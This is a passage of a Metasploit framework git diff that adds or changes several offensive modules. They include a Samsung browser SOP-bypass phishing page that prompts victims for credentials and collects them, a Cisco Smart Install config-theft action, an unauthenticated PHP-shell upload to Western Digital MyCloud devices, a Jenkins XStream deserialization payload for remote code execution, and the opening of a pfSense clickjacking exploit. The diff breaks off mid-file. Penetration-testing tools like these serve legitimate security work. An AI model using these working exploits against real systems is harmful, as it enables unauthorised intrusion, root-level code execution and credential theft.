print_error("Unable to connect to #{peer}.")
|
||||
return false
|
||||
end
|
||||
end
|
||||
end
|
144
modules/auxiliary/gather/samsung_browser_sop_bypass.rb
Normal file
144
modules/auxiliary/gather/samsung_browser_sop_bypass.rb
Normal file
@ -0,0 +1,144 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Samsung Internet Browser SOP Bypass',
|
||||
'Description' => %q(
|
||||
This module takes advantage of a Same-Origin Policy (SOP) bypass vulnerability in the
|
||||
Samsung Internet Browser, a popular mobile browser shipping with Samsung Android devices.
|
||||
By default, it initiates a redirect to a child tab, and rewrites the innerHTML to gather
|
||||
credentials via a fake pop-up.
|
||||
),
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Dhiraj Mishra', # Original discovery, disclosure
|
||||
'Tod Beardsley', # Metasploit module
|
||||
'Jeffrey Martin' # Metasploit module
|
||||
],
|
||||
'References' => [
|
||||
[ 'CVE', '2017-17692' ],
|
||||
['URL', 'http://fr.0day.today/exploit/description/28434']
|
||||
],
|
||||
'DisclosureDate' => 'Nov 08 2017',
|
||||
'Actions' => [[ 'WebServer' ]],
|
||||
'PassiveActions' => [ 'WebServer' ],
|
||||
'DefaultAction' => 'WebServer'
|
||||
)
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptString.new('TARGET_URL', [
|
||||
true,
|
||||
'The URL to spoof origin from.',
|
||||
'http://example.com/'
|
||||
]),
|
||||
OptString.new('CUSTOM_HTML', [
|
||||
true,
|
||||
'HTML to display to the victim.',
|
||||
'This page has moved. Please <a href="#">click here</a> to redirect your browser.'
|
||||
])
|
||||
])
|
||||
|
||||
register_advanced_options([
|
||||
OptString.new('CUSTOM_JS', [
|
||||
false,
|
||||
"Custom Javascript to inject as the go() function. Use the variable 'x' to refer to the new tab.",
|
||||
''
|
||||
])
|
||||
])
|
||||
|
||||
end
|
||||
|
||||
def run
|
||||
exploit # start http server
|
||||
end
|
||||
|
||||
def evil_javascript
|
||||
return datastore['CUSTOM_JS'] unless datastore['CUSTOM_JS'].blank?
|
||||
js = <<-EOS
|
||||
setTimeout(function(){
|
||||
x.document.body.innerHTML='<h1>404 Error</h1>'+
|
||||
'<p>Oops, something went wrong.</p>';
|
||||
a=x.prompt('E-mail','');
|
||||
b=x.prompt('Password','');
|
||||
var cred=JSON.stringify({'user':a,'pass':b});
|
||||
var xmlhttp = new XMLHttpRequest;
|
||||
xmlhttp.open('POST', window.location, true);
|
||||
xmlhttp.send(cred);
|
||||
}, 3000);
|
||||
EOS
|
||||
js
|
||||
end
|
||||
|
||||
def setup
|
||||
@html = <<-EOS
|
||||
<html>
|
||||
<meta charset="UTF-8">
|
||||
<head>
|
||||
<script>
|
||||
function go(){
|
||||
try {
|
||||
var x = window.open('#{datastore['TARGET_URL']}');
|
||||
#{evil_javascript}
|
||||
} catch(e) { }
|
||||
}
|
||||
</script>
|
||||
</head>
|
||||
<body onclick="go()">
|
||||
#{datastore['CUSTOM_HTML']}
|
||||
</body></html>
|
||||
EOS
|
||||
end
|
||||
|
||||
def store_cred(username,password)
|
||||
credential_data = {
|
||||
origin_type: :import,
|
||||
module_fullname: self.fullname,
|
||||
filename: 'msfconsole',
|
||||
workspace_id: myworkspace_id,
|
||||
service_name: 'web_service',
|
||||
realm_value: datastore['TARGET_URL'],
|
||||
realm_key: Metasploit::Model::Realm::Key::WILDCARD,
|
||||
private_type: :password,
|
||||
private_data: password,
|
||||
username: username
|
||||
}
|
||||
create_credential(credential_data)
|
||||
end
|
||||
|
||||
# This assumes the default schema is being used.
|
||||
# If it's not that, it'll just display the collected POST data.
|
||||
def collect_data(request)
|
||||
cred = JSON.parse(request.body)
|
||||
u = cred['user']
|
||||
p = cred['pass']
|
||||
if u.blank? || p.blank?
|
||||
print_good("#{cli.peerhost}: POST data received from #{datastore['TARGET_URL']}: #{request.body}")
|
||||
else
|
||||
print_good("#{cli.peerhost}: Collected credential for '#{datastore['TARGET_URL']}' #{u}:#{p}")
|
||||
store_cred(u,p)
|
||||
end
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
case request.method.downcase
|
||||
when 'get' # initial connection
|
||||
print_status("#{cli.peerhost}: Request '#{request.method} #{request.uri}'")
|
||||
print_status("#{cli.peerhost}: Attempting to spoof origin for #{datastore['TARGET_URL']}")
|
||||
send_response(cli, @html)
|
||||
when 'post' # must have fallen for it
|
||||
collect_data(request)
|
||||
else
|
||||
print_error("#{cli.peerhost}: Unhandled method: #{request.method}")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
@ -94,6 +94,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
workspace_id: myworkspace_id
|
||||
)
|
||||
if result.success?
|
||||
credential_data[:private_type] = :password
|
||||
credential_core = create_credential(credential_data)
|
||||
credential_data[:core] = credential_core
|
||||
create_credential_login(credential_data)
|
||||
|
@ -5,6 +5,7 @@
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Cisco
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
@ -18,7 +19,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
and determines if it speaks the Smart Install Protocol. Exposure of SMI
|
||||
to untrusted networks can allow complete compromise of the switch.
|
||||
),
|
||||
'Author' => 'Jon Hart <jon_hart[at]rapid7.com>',
|
||||
'Author' => ['Jon Hart <jon_hart[at]rapid7.com>', 'Mumbai'],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://blog.talosintelligence.com/2017/02/cisco-coverage-for-smart-install-client.html'],
|
||||
@ -28,13 +29,21 @@ class MetasploitModule < Msf::Auxiliary
|
||||
['URL', 'https://github.com/Sab0tag3d/SIET']
|
||||
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultAction' => 'SCAN',
|
||||
'Actions' => [
|
||||
['SCAN', {'Description' => 'Scan for instances communicating via Smart Install Protocol (default)'}],
|
||||
['DOWNLOAD', {'Description' => 'Retrieve configuration via Smart Install Protocol'}]
|
||||
],
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(4786)
|
||||
Opt::RPORT(4786),
|
||||
OptAddressLocal.new('LHOST', [ false, "The IP address of the system running this module" ]),
|
||||
OptInt.new('SLEEP', [ true, "Time to wait for config to come back", 10]),
|
||||
OptString.new('CONFIG', [ true, "The source config to copy when using DOWNLOAD", "system:running-config" ])
|
||||
]
|
||||
)
|
||||
end
|
||||
@ -46,7 +55,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
sock.puts(SMI_PROBE)
|
||||
response = sock.get_once(-1)
|
||||
if response
|
||||
if SMI_RE.match?(response)
|
||||
if SMI_RE.match(response)
|
||||
print_good("Fingerprinted the Cisco Smart Install protocol")
|
||||
return true
|
||||
else
|
||||
@ -57,10 +66,77 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
end
|
||||
|
||||
def run_host(_ip)
|
||||
def start_tftp
|
||||
print_status("Starting TFTP Server...")
|
||||
@tftp = Rex::Proto::TFTP::Server.new(69, '0.0.0.0', { 'Msf' => framework, 'MsfExploit' => self })
|
||||
@tftp.incoming_file_hook = Proc.new{|info| process_incoming(info) }
|
||||
@tftp.start
|
||||
add_socket(@tftp.sock)
|
||||
@main_thread = ::Thread.current
|
||||
end
|
||||
|
||||
def cleanup
|
||||
# Cleanup is called once for every single thread
|
||||
if ::Thread.current == @main_thread
|
||||
# Wait 5 seconds for background transfers to complete
|
||||
print_status("Providing some time for transfers to complete...")
|
||||
sleep(5)
|
||||
|
||||
if @tftp
|
||||
print_status("Shutting down the TFTP service...")
|
||||
@tftp.close rescue nil
|
||||
@tftp = nil
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Callback for incoming files
|
||||
#
|
||||
def process_incoming(info)
|
||||
return if not info[:file]
|
||||
name = info[:file][:name]
|
||||
data = info[:file][:data]
|
||||
from = info[:from]
|
||||
return if not (name && data && from)
|
||||
|
||||
# Trim off IPv6 mapped IPv4 if necessary
|
||||
from = from[0].dup
|
||||
from.gsub!('::ffff:', '')
|
||||
|
||||
print_status("Incoming file from #{from} - #{name} (#{data.length} bytes)")
|
||||
cisco_ios_config_eater(from, rport, data)
|
||||
end
|
||||
|
||||
def decode_hex(string)
|
||||
string.scan(/../).map { |x| x.hex }.pack('c*')
|
||||
end
|
||||
|
||||
def request_config(tftp_server, config)
|
||||
copy_config = "copy #{config} tftp://#{tftp_server}/#{Rex::Text.rand_text_alpha(8)}"
|
||||
packet_header = '00000001000000010000000800000408000100140000000100000000fc99473786600000000303f4'
|
||||
packet = (decode_hex(packet_header) + copy_config + decode_hex(('00' * (336 - copy_config.length)))) + (decode_hex(('00' * (336)))) + (decode_hex(('00' * 336)))
|
||||
print_status("Attempting #{copy_config}")
|
||||
sock.put(packet)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
begin
|
||||
connect
|
||||
return unless smi?
|
||||
case
|
||||
when action.name == 'SCAN'
|
||||
connect
|
||||
return unless smi?
|
||||
when action.name == 'DOWNLOAD'
|
||||
start_tftp
|
||||
connect
|
||||
return unless smi?
|
||||
disconnect # cant send any additional packets, so closing
|
||||
connect
|
||||
tftp_server = datastore['LHOST'] || Rex::Socket.source_address(ip)
|
||||
request_config(tftp_server, datastore['CONFIG'])
|
||||
print_status("Waiting #{datastore['SLEEP']} seconds for configuration")
|
||||
Rex.sleep(datastore['SLEEP'])
|
||||
end
|
||||
rescue Rex::AddressInUse, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, \
|
||||
::Errno::ETIMEDOUT, ::Timeout::Error, ::EOFError => e
|
||||
vprint_error("error while connecting and negotiating Cisco Smart Install: #{e}")
|
||||
|
@ -4,6 +4,7 @@
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::DCERPC
|
||||
include Msf::Exploit::Remote::SMB::Client
|
||||
include Msf::Exploit::Remote::SMB::Client::Authenticated
|
||||
|
||||
@ -50,7 +51,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptBool.new('CHECK_DOPU', [true, 'Check for DOUBLEPULSAR on vulnerable hosts', true])
|
||||
OptBool.new('CHECK_DOPU', [true, 'Check for DOUBLEPULSAR on vulnerable hosts', true]),
|
||||
OptBool.new('CHECK_ARCH', [true, 'Check for architecture on vulnerable hosts', true])
|
||||
])
|
||||
end
|
||||
|
||||
@ -76,12 +78,23 @@ class MetasploitModule < Msf::Auxiliary
|
||||
vprint_status("Received #{status} with FID = 0")
|
||||
|
||||
if status == "STATUS_INSUFF_SERVER_RESOURCES"
|
||||
print_good("Host is likely VULNERABLE to MS17-010! (#{simple.client.peer_native_os})")
|
||||
os = simple.client.peer_native_os
|
||||
|
||||
if datastore['CHECK_ARCH']
|
||||
case dcerpc_getarch
|
||||
when ARCH_X86
|
||||
os << ' x86 (32-bit)'
|
||||
when ARCH_X64
|
||||
os << ' x64 (64-bit)'
|
||||
end
|
||||
end
|
||||
|
||||
print_good("Host is likely VULNERABLE to MS17-010! - #{os}")
|
||||
report_vuln(
|
||||
host: ip,
|
||||
name: self.name,
|
||||
refs: self.references,
|
||||
info: 'STATUS_INSUFF_SERVER_RESOURCES for FID 0 against IPC$ -- (#{simple.client.peer_native_os})'
|
||||
info: "STATUS_INSUFF_SERVER_RESOURCES for FID 0 against IPC$ - #{os}"
|
||||
)
|
||||
|
||||
# vulnerable to MS17-010, check for DoublePulsar infection
|
||||
|
@ -132,6 +132,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
case result.status
|
||||
when Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}' '#{result.proof.to_s.gsub(/[\r\n\e\b\a]/, ' ')}'"
|
||||
credential_data[:private_type] = :password
|
||||
credential_core = create_credential(credential_data)
|
||||
credential_data[:core] = credential_core
|
||||
create_credential_login(credential_data)
|
||||
|
@ -85,6 +85,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
workspace_id: myworkspace_id
|
||||
)
|
||||
if result.success?
|
||||
credential_data[:private_type] = :password
|
||||
credential_core = create_credential(credential_data)
|
||||
credential_data[:core] = credential_core
|
||||
create_credential_login(credential_data)
|
||||
|
142
modules/auxiliary/scanner/wsdd/wsdd_query.rb
Normal file
142
modules/auxiliary/scanner/wsdd/wsdd_query.rb
Normal file
@ -0,0 +1,142 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::UDPScanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'WS-Discovery Information Discovery',
|
||||
'Description' => %q{
|
||||
Discover information from Web Services Dynamic Discovery (WS-Discovery)
|
||||
enabled systems.
|
||||
},
|
||||
'Author' => 'Brendan Coles <bcoles[at]gmail.com>',
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://msdn.microsoft.com/en-us/library/windows/desktop/bb513684(v=vs.85).aspx'],
|
||||
['URL', 'http://specs.xmlsoap.org/ws/2005/04/discovery/ws-discovery.pd'],
|
||||
['URL', 'https://en.wikipedia.org/wiki/Web_Services_for_Devices'],
|
||||
['URL', 'https://en.wikipedia.org/wiki/WS-Discovery'],
|
||||
['URL', 'https://en.wikipedia.org/wiki/Zero-configuration_networking#WS-Discovery']
|
||||
]
|
||||
)
|
||||
register_options [
|
||||
Opt::RPORT(3702),
|
||||
OptAddressRange.new('RHOSTS', [true, 'The multicast address or CIDR range of targets to query', '239.255.255.250'])
|
||||
]
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def wsdd_probe
|
||||
probe = '<?xml version="1.0" encoding="utf-8" ?>'
|
||||
probe << '<soap:Envelope'
|
||||
probe << ' xmlns:soap="http://www.w3.org/2003/05/soap-envelope"'
|
||||
probe << ' xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing"'
|
||||
probe << ' xmlns:wsd="http://schemas.xmlsoap.org/ws/2005/04/discovery"'
|
||||
probe << ' xmlns:wsdp="http://schemas.xmlsoap.org/ws/2006/02/devprof">'
|
||||
|
||||
probe << '<soap:Header>'
|
||||
# WS-Discovery
|
||||
probe << '<wsa:To>urn:schemas-xmlsoap-org:ws:2005:04:discovery</wsa:To>'
|
||||
# Action (Probe)
|
||||
probe << "<wsa:Action>http://schemas.xmlsoap.org/ws/2005/04/discovery/Probe</wsa:Action>"
|
||||
# Message identifier (unique GUID)
|
||||
probe << "<wsa:MessageID>urn:uuid:#{SecureRandom.uuid}</wsa:MessageID>"
|
||||
probe << '</soap:Header>'
|
||||
|
||||
probe << '<soap:Body>'
|
||||
probe << '<wsd:Probe/>' # WS-Discovery type (blank)
|
||||
probe << '</soap:Body>'
|
||||
probe << '</env:Envelope>'
|
||||
|
||||
probe
|
||||
end
|
||||
|
||||
def scanner_prescan(batch)
|
||||
print_status "Sending WS-Discovery probe to #{batch.length} hosts"
|
||||
@results = {}
|
||||
end
|
||||
|
||||
def scan_host(ip)
|
||||
vprint_status "#{ip}:#{rport} - Sending WS-Discovery probe"
|
||||
scanner_send wsdd_probe, ip, datastore['RPORT']
|
||||
end
|
||||
|
||||
def scanner_postscan(_batch)
|
||||
if @results.empty?
|
||||
print_status 'No WS-Discovery endpoints found.'
|
||||
return
|
||||
end
|
||||
|
||||
found = {}
|
||||
@results.each_pair do |ip, responses|
|
||||
responses.uniq.each do |res|
|
||||
found[ip] ||= {}
|
||||
next if found[ip][res]
|
||||
|
||||
response_info = parse_wsdd_response res
|
||||
|
||||
if response_info.nil?
|
||||
print_error "#{ip} responded with malformed data"
|
||||
next
|
||||
end
|
||||
|
||||
msg = []
|
||||
msg << "Address: #{response_info['Address']}"
|
||||
msg << "Types: #{response_info['Types'].to_s.split(/\s+/).join(', ')}"
|
||||
msg << "Vendor Extensions: #{response_info['VendorExtension']}" unless response_info['VendorExtension'].nil?
|
||||
|
||||
print_good "#{ip} responded with:\n#{msg.join("\n")}"
|
||||
|
||||
report_service(host: ip, port: rport, proto: 'udp', name: 'wsdd', info: response_info)
|
||||
found[ip][res] = true
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def parse_wsdd_response(wsdd_res)
|
||||
info = {}
|
||||
|
||||
# Validate ProbeMatches SOAP response contains a ProbeMatch
|
||||
begin
|
||||
soap = ::Nokogiri::XML wsdd_res
|
||||
return nil if soap.xpath('//soap:Body//wsd:ProbeMatches//wsd:ProbeMatch').empty?
|
||||
rescue
|
||||
return nil
|
||||
end
|
||||
|
||||
# Convert SOAP response to Hash
|
||||
begin
|
||||
res = Hash.from_xml wsdd_res
|
||||
rescue REXML::ParseException
|
||||
return nil
|
||||
end
|
||||
|
||||
# Use the first ProbeMatch
|
||||
probe_match = res['Envelope']['Body']['ProbeMatches'].first
|
||||
return nil unless probe_match[0].eql? 'ProbeMatch'
|
||||
return nil if probe_match[1].nil? || probe_match[1].empty?
|
||||
match = probe_match[1]
|
||||
|
||||
# Device Address
|
||||
info['Address'] = match['XAddrs'] || ''
|
||||
|
||||
# Device Types
|
||||
info['Types'] = match['Types'] || ''
|
||||
|
||||
# Optional vendor extensions
|
||||
unless match['VendorExtension'].nil? || match['VendorExtension'].empty?
|
||||
info['VendorExtension'] = match['VendorExtension']
|
||||
end
|
||||
|
||||
info
|
||||
end
|
||||
end
|
107
modules/exploits/linux/http/wd_mycloud_multiupload_upload.rb
Normal file
107
modules/exploits/linux/http/wd_mycloud_multiupload_upload.rb
Normal file
@ -0,0 +1,107 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
HttpFingerprint = { :method => 'HEAD', :uri => '/web/', :pattern => [/Apache/] }
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Western Digital MyCloud multi_uploadify File Upload Vulnerability',
|
||||
'Description' => %q{
|
||||
This module exploits a file upload vulnerability found in Western Digital's MyCloud
|
||||
NAS web administration HTTP service. The /web/jquery/uploader/multi_uploadify.php
|
||||
PHP script provides multipart upload functionality that is accessible without authentication
|
||||
and can be used to place a file anywhere on the device's file system. This allows an
|
||||
attacker the ability to upload a PHP shell onto the device and obtain arbitrary code
|
||||
execution as root.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Zenofex <zenofex[at]exploitee.rs>' # Initial vulnerability discovery, PoC, and Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://www.exploitee.rs/index.php/Western_Digital_MyCloud#.2Fjquery.2Fuploader.2Fmulti_uploadify.php_.28added_08.2F06.2F2017.29'],
|
||||
['URL', 'https://download.exploitee.rs/file/generic/Exploiteers-DEFCON25.pdf'],
|
||||
['URL', 'https://www.youtube.com/watch?v=EO_49pfmA5A'],
|
||||
['CVE', '2017-17560']
|
||||
],
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' =>
|
||||
[
|
||||
['Automatic Targeting', { 'auto' => true }]
|
||||
],
|
||||
'Privileged' => true,
|
||||
'DisclosureDate' => 'Jul 29 2017',
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi('uri' => '/web/jquery/uploader/multi_uploadify.php')
|
||||
|
||||
if res.nil?
|
||||
vprint_error('Connection failed')
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
|
||||
if res.code == 302 && res.headers['Location'] =~ /\?status=1/
|
||||
return CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
CheckCode::Safe
|
||||
end
|
||||
|
||||
def upload(web_folder, fname, file)
|
||||
# construct post data
|
||||
data = Rex::MIME::Message.new
|
||||
data.add_part(file, 'application/x-php', nil, "form-data; name=\"Filedata[]\"; filename=\"#{fname}\"")
|
||||
|
||||
# upload
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => '/web/jquery/uploader/multi_uploadify.php',
|
||||
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||
'data' => data.to_s,
|
||||
'vars_get' => {
|
||||
'folder' => web_folder
|
||||
}
|
||||
})
|
||||
end
|
||||
|
||||
def exploit
|
||||
if check != CheckCode::Vulnerable
|
||||
fail_with(Failure::NotVulnerable, 'Target does not appear to be a vulnerable Western Digital MyCloud device')
|
||||
end
|
||||
|
||||
# upload PHP payload to '/var/www' (webroot).
|
||||
web_folder = '/var/www'
|
||||
php = "<?php #{payload.encoded} ?>"
|
||||
print_status("Uploading PHP payload (#{php.length} bytes) to '#{web_folder}'.")
|
||||
fname = ".#{rand_text_alphanumeric(rand(10) + 6)}.php"
|
||||
|
||||
res = upload(web_folder, fname, php)
|
||||
|
||||
# check upload response
|
||||
fail_with(Failure::Unreachable, 'No response received from the target.') unless res
|
||||
if res.code != 302 || res.headers['Location'] =~ /\?status=0/
|
||||
fail_with(Failure::UnexpectedReply, "Unexpected reply (#{res.body.length} bytes)")
|
||||
end
|
||||
print_good('Uploaded PHP payload successfully.')
|
||||
|
||||
# register uploaded php payload file for cleanup
|
||||
register_files_for_cleanup(fname)
|
||||
|
||||
# retrieve and execute PHP payload
|
||||
print_status("Making request for '/#{fname}' to execute payload.")
|
||||
res = send_request_cgi({'uri' => normalize_uri(fname)}, 15)
|
||||
end
|
||||
|
||||
end
|
@ -124,7 +124,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
return true
|
||||
|
||||
# incase we are not targeting the default app
|
||||
elsif res and res.code == 500 and es.body !=~ /id/
|
||||
elsif res and res.code == 500 and res.body !=~ /id/
|
||||
return true
|
||||
end
|
||||
return false
|
||||
|
141
modules/exploits/multi/http/jenkins_xstream_deserialize.rb
Normal file
141
modules/exploits/multi/http/jenkins_xstream_deserialize.rb
Normal file
@ -0,0 +1,141 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStager
|
||||
include Msf::Exploit::Powershell
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Jenkins XStream Groovy classpath Deserialization Vulnerability',
|
||||
'Description' => %q{
|
||||
This module exploits CVE-2016-0792 a vulnerability in Jenkins versions older than 1.650 and Jenkins LTS versions
|
||||
older than 1.642.2 which is caused by unsafe deserialization in XStream with Groovy in the classpath,
|
||||
which allows remote arbitrary code execution. The issue affects default installations. Authentication
|
||||
is not required to exploit the vulnerability.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Arshan Dabirsiaghi', # Vulnerability discovery
|
||||
'Matt Byrne <attackdebris[at]gmail.com>' # Metasploit module
|
||||
],
|
||||
'DisclosureDate' => 'Feb 24 2016',
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2016-0792'],
|
||||
['URL', 'https://www.contrastsecurity.com/security-influencers/serialization-must-die-act-2-xstream'],
|
||||
['URL', 'https://wiki.jenkins.io/pages/viewpage.action?pageId=95585413']
|
||||
],
|
||||
'Platform' => %w{ win linux unix },
|
||||
'Arch' => [ARCH_CMD, ARCH_PYTHON, ARCH_X86, ARCH_X64],
|
||||
'Targets' => [
|
||||
['Unix (In-Memory)',
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD
|
||||
],
|
||||
['Python (In-Memory)',
|
||||
'Platform' => 'python',
|
||||
'Arch' => ARCH_PYTHON
|
||||
],
|
||||
['Linux (Dropper)',
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X86, ARCH_X64]
|
||||
],
|
||||
['Windows (Dropper)',
|
||||
'Platform' => 'win',
|
||||
'Arch' => [ARCH_X86, ARCH_X64]
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new('TARGETURI', [true, 'The base path to Jenkins', '/']),
|
||||
Opt::RPORT('8080')
|
||||
])
|
||||
deregister_options('URIPATH')
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path)
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unknown, 'The connection timed out.')
|
||||
end
|
||||
|
||||
http_headers = res.headers
|
||||
|
||||
if http_headers['X-Jenkins'] && http_headers['X-Jenkins'].to_f < 1.650
|
||||
return Exploit::CheckCode::Appears
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
case target.name
|
||||
when /Unix/, /Python/
|
||||
execute_command(payload.encoded)
|
||||
else
|
||||
execute_cmdstager
|
||||
end
|
||||
end
|
||||
|
||||
# Exploit methods
|
||||
|
||||
def execute_command(cmd, opts = {})
|
||||
cmd = case target.name
|
||||
when /Unix/, /Linux/
|
||||
%W{/bin/sh -c #{cmd}}
|
||||
when /Python/
|
||||
%W{python -c #{cmd}}
|
||||
when /Windows/
|
||||
%W{cmd.exe /c #{cmd}}
|
||||
end
|
||||
|
||||
# Encode each command argument with XML entities
|
||||
cmd.map! { |arg| arg.encode(xml: :text) }
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/createItem'),
|
||||
'vars_get' => { 'name' => 'random' },
|
||||
'ctype' => 'application/xml',
|
||||
'data' => xstream_payload(cmd)
|
||||
)
|
||||
end
|
||||
|
||||
def xstream_payload(cmd)
|
||||
<<EOF
|
||||
<map>
|
||||
<entry>
|
||||
<groovy.util.Expando>
|
||||
<expandoProperties>
|
||||
<entry>
|
||||
<string>hashCode</string>
|
||||
<org.codehaus.groovy.runtime.MethodClosure>
|
||||
<delegate class="groovy.util.Expando"/>
|
||||
<owner class="java.lang.ProcessBuilder">
|
||||
<command>
|
||||
<string>#{cmd.join('</string><string>')}</string>
|
||||
</command>
|
||||
</owner>
|
||||
<method>start</method>
|
||||
</org.codehaus.groovy.runtime.MethodClosure>
|
||||
</entry>
|
||||
</expandoProperties>
|
||||
</groovy.util.Expando>
|
||||
<int>1</int>
|
||||
</entry>
|
||||
</map>
|
||||
EOF
|
||||
end
|
||||
end
|
153
modules/exploits/unix/http/pfsense_clickjacking.rb
Normal file
153
modules/exploits/unix/http/pfsense_clickjacking.rb
Normal file
@ -0,0 +1,153 @@
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Clickjacking Vulnerability In CSRF Error Page pfSense',
|
||||
'Description' => %q{
|
||||
This module exploits a Clickjacking vulnerability in pfSense <= 2.4.1.
|
||||
|
||||
pfSense is a free and open source firewall and router. It was found that the
|
||||
pfSense WebGUI is vulnerable to Clickjacking. By tricking an authenticated admin
|
||||
into interacting with a specially crafted webpage it is possible for an attacker
|
||||
to execute arbitrary code in the WebGUI. Since the WebGUI runs as the root user,
|
||||
this will result in a full compromise of the pfSense instance.
|
||||
},
|
||||
'Author' => 'Yorick Koster',
|
||||
'Payload' => { 'BadChars' => '"' },
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://securify.nl/en/advisory/SFY20171101/clickjacking-vulnerability-in-csrf-error-page-pfsense.html'],
|
||||
['URL', 'https://doc.pfsense.org/index.php/2.4.2_New_Features_and_Changes']
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'process'
|
||||
},
|
||||
'Arch' => ARCH_PHP,
|
||||
'Platform' => 'php',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'pfSense <= 2.4.1', { 'auto' => false } ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Nov 21 2017'
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'The base path to the web application', 'https://192.168.1.1'])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def js_file
|
||||
@js ||= lambda {
|
||||
path = File.join(Msf::Config.data_directory, 'exploits', 'pfsense_clickjacking', 'cookieconsent.min.js')
|
||||
return File.read(path)
|
||||
}.call
|
||||
end
|
||||
|
||||
def css_file
|
||||
@css ||= lambda {
|
||||
